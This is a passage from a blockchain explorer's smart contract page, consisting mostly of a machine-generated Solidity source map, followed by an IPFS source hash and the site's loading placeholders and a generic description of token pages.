-;8056:4;8094:2;8083:9;8079:18;8071:26;;8143:9;8137:4;8133:20;8129:1;8118:9;8114:17;8107:47;8171:131;8297:4;8171:131;:::i;:::-;8163:139;;7890:419;;;:::o;8315:143::-;8372:5;8403:6;8397:13;8388:22;;8419:33;8446:5;8419:33;:::i;:::-;8315:143;;;;:::o;8464:351::-;8534:6;8583:2;8571:9;8562:7;8558:23;8554:32;8551:119;;;8589:79;;:::i;:::-;8551:119;8709:1;8734:64;8790:7;8781:6;8770:9;8766:22;8734:64;:::i;:::-;8724:74;;8680:128;8464:351;;;;:::o;8821:332::-;8942:4;8980:2;8969:9;8965:18;8957:26;;8993:71;9061:1;9050:9;9046:17;9037:6;8993:71;:::i;:::-;9074:72;9142:2;9131:9;9127:18;9118:6;9074:72;:::i;:::-;8821:332;;;;;:::o;9159:85::-;9204:7;9233:5;9222:16;;9159:85;;;:::o;9250:60::-;9278:3;9299:5;9292:12;;9250:60;;;:::o;9316:158::-;9374:9;9407:61;9425:42;9434:32;9460:5;9434:32;:::i;:::-;9425:42;:::i;:::-;9407:61;:::i;:::-;9394:74;;9316:158;;;:::o;9480:147::-;9575:45;9614:5;9575:45;:::i;:::-;9570:3;9563:58;9480:147;;:::o;9633:807::-;9882:4;9920:3;9909:9;9905:19;9897:27;;9934:71;10002:1;9991:9;9987:17;9978:6;9934:71;:::i;:::-;10015:72;10083:2;10072:9;10068:18;10059:6;10015:72;:::i;:::-;10097:80;10173:2;10162:9;10158:18;10149:6;10097:80;:::i;:::-;10187;10263:2;10252:9;10248:18;10239:6;10187:80;:::i;:::-;10277:73;10345:3;10334:9;10330:19;10321:6;10277:73;:::i;:::-;10360;10428:3;10417:9;10413:19;10404:6;10360:73;:::i;:::-;9633:807;;;;;;;;;:::o;10446:143::-;10503:5;10534:6;10528:13;10519:22;;10550:33;10577:5;10550:33;:::i;:::-;10446:143;;;;:::o;10595:663::-;10683:6;10691;10699;10748:2;10736:9;10727:7;10723:23;10719:32;10716:119;;;10754:79;;:::i;:::-;10716:119;10874:1;10899:64;10955:7;10946:6;10935:9;10931:22;10899:64;:::i;:::-;10889:74;;10845:128;11012:2;11038:64;11094:7;11085:6;11074:9;11070:22;11038:64;:::i;:::-;11028:74;;10983:129;11151:2;11177:64;11233:7;11224:6;11213:9;11209:22;11177:64;:::i;:::-;11167:74;;11122:129;10595:663;;;;;:::o;11264:332::-;11385:4;11423:2;11412:9;11408:18;11400:26;;11436:71;11504:1;11493:9;11489:17;11480:6;11436:71;:::i;:::-;11517:72;11585:2;11574:9;11570:18;11561:6;11517:72;:::i;:::-;11264:332;;;;;:::o;11602:116::-;11672:21;11687:5;11672:21;:::i;:::-;11665:5;11662:32;11652:60;;11708:1;11705;11698:12;11652:60;11602:116;:::o;11724:137::-;11778:5;11809:6;11803:13;11794:22;;11825:30;11849:5;11825:30;:::i;:::-;11724:137;;;;:::o;11867:345::-;11934:6;11983:2;11971:9;11962:7;11958:23;11954:32;11951:119;;;11989:79;;:::i;:::-;11951:119;12109:1;12134:61;12187:7;12178:6;12167:9;12163:22;12134:61;:::i;:::-;12124:71;;12080:125;11867:345;;;;:::o;12218:180::-;12266:77;12263:1;12256:88;12363:4;12360:1;12353:15;12387:4;12384:1;12377:15;12404:180;12452:77;12449:1;12442:88;12549:4;12546:1;12539:15;12573:4;12570:1;12563:15;12590:180;12638:77;12635:1;12628:88;12735:4;12732:1;12725:15;12759:4;12756:1;12749:15;12776:191;12816:3;12835:20;12853:1;12835:20;:::i;:::-;12830:25;;12869:20;12887:1;12869:20;:::i;:::-;12864:25;;12912:1;12909;12905:9;12898:16;;12933:3;12930:1;12927:10;12924:36;;;12940:18;;:::i;:::-;12924:36;12776:191;;;;:::o;12973:114::-;13040:6;13074:5;13068:12;13058:22;;12973:114;;;:::o;13093:184::-;13192:11;13226:6;13221:3;13214:19;13266:4;13261:3;13257:14;13242:29;;13093:184;;;;:::o;13283:132::-;13350:4;13373:3;13365:11;;13403:4;13398:3;13394:14;13386:22;;13283:132;;;:::o;13421:108::-;13498:24;13516:5;13498:24;:::i;:::-;13493:3;13486:37;13421:108;;:::o;13535:179::-;13604:10;13625:46;13667:3;13659:6;13625:46;:::i;:::-;13703:4;13698:3;13694:14;13680:28;;13535:179;;;;:::o;13720:113::-;13790:4;13822;13817:3;13813:14;13805:22;;13720:113;;;:::o;13869:732::-;13988:3;14017:54;14065:5;14017:54;:::i;:::-;14087:86;14166:6;14161:3;14087:86;:::i;:::-;14080:93;;14197:56;14247:5;14197:56;:::i;:::-;14276:7;14307:1;14292:284;14317:6;14314:1;14311:13;14292:284;;;14393:6;14387:13;14420:63;14479:3;14464:13;14420:63;:::i;:::-;14413:70;;14506:60;14559:6;14506:60;:::i;:::-;14496:70;;14352:224;14339:1;14336;14332:9;14327:14;;14292:284;;;14296:14;14592:3;14585:10;;13993:608;;;13869:732;;;;:::o;14607:831::-;14870:4;14908:3;14897:9;14893:19;14885:27;;14922:71;14990:1;14979:9;14975:17;14966:6;14922:71;:::i;:::-;15003:80;15079:2;15068:9;15064:18;15055:6;15003:80;:::i;:::-;15130:9;15124:4;15120:20;15115:2;15104:9;15100:18;15093:48;15158:108;15261:4;15252:6;15158:108;:::i;:::-;15150:116;;15276:72;15344:2;15333:9;15329:18;15320:6;15276:72;:::i;:::-;15358:73;15426:3;15415:9;15411:19;15402:6;15358:73;:::i;:::-;14607:831;;;;;;;;:::o;15444:225::-;15584:34;15580:1;15572:6;15568:14;15561:58;15653:8;15648:2;15640:6;15636:15;15629:33;15444:225;:::o;15675:366::-;15817:3;15838:67;15902:2;15897:3;15838:67;:::i;:::-;15831:74;;15914:93;16003:3;15914:93;:::i;:::-;16032:2;16027:3;16023:12;16016:19;;15675:366;;;:::o;16047:419::-;16213:4;16251:2;16240:9;16236:18;16228:26;;16300:9;16294:4;16290:20;16286:1;16275:9;16271:17;16264:47;16328:131;16454:4;16328:131;:::i;:::-;16320:139;;16047:419;;;:::o;16472:223::-;16612:34;16608:1;16600:6;16596:14;16589:58;16681:6;16676:2;16668:6;16664:15;16657:31;16472:223;:::o;16701:366::-;16843:3;16864:67;16928:2;16923:3;16864:67;:::i;:::-;16857:74;;16940:93;17029:3;16940:93;:::i;:::-;17058:2;17053:3;17049:12;17042:19;;16701:366;;;:::o;17073:419::-;17239:4;17277:2;17266:9;17262:18;17254:26;;17326:9;17320:4;17316:20;17312:1;17301:9;17297:17;17290:47;17354:131;17480:4;17354:131;:::i;:::-;17346:139;;17073:419;;;:::o;17498:221::-;17638:34;17634:1;17626:6;17622:14;17615:58;17707:4;17702:2;17694:6;17690:15;17683:29;17498:221;:::o;17725:366::-;17867:3;17888:67;17952:2;17947:3;17888:67;:::i;:::-;17881:74;;17964:93;18053:3;17964:93;:::i;:::-;18082:2;18077:3;18073:12;18066:19;;17725:366;;;:::o;18097:419::-;18263:4;18301:2;18290:9;18286:18;18278:26;;18350:9;18344:4;18340:20;18336:1;18325:9;18321:17;18314:47;18378:131;18504:4;18378:131;:::i;:::-;18370:139;;18097:419;;;:::o;18522:351::-;18592:6;18641:2;18629:9;18620:7;18616:23;18612:32;18609:119;;;18647:79;;:::i;:::-;18609:119;18767:1;18792:64;18848:7;18839:6;18828:9;18824:22;18792:64;:::i;:::-;18782:74;;18738:128;18522:351;;;;:::o;18879:194::-;18919:4;18939:20;18957:1;18939:20;:::i;:::-;18934:25;;18973:20;18991:1;18973:20;:::i;:::-;18968:25;;19017:1;19014;19010:9;19002:17;;19041:1;19035:4;19032:11;19029:37;;;19046:18;;:::i;:::-;19029:37;18879:194;;;;:::o;19079:410::-;19119:7;19142:20;19160:1;19142:20;:::i;:::-;19137:25;;19176:20;19194:1;19176:20;:::i;:::-;19171:25;;19231:1;19228;19224:9;19253:30;19271:11;19253:30;:::i;:::-;19242:41;;19432:1;19423:7;19419:15;19416:1;19413:22;19393:1;19386:9;19366:83;19343:139;;19462:18;;:::i;:::-;19343:139;19127:362;19079:410;;;;:::o;19495:180::-;19543:77;19540:1;19533:88;19640:4;19637:1;19630:15;19664:4;19661:1;19654:15;19681:185;19721:1;19738:20;19756:1;19738:20;:::i;:::-;19733:25;;19772:20;19790:1;19772:20;:::i;:::-;19767:25;;19811:1;19801:35;;19816:18;;:::i;:::-;19801:35;19858:1;19855;19851:9;19846:14;;19681:185;;;;:::o
Swarm Source
ipfs://24c3415add0e76b8700cbdd4788c17903baef98287b3f0c4248539c048daec63
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.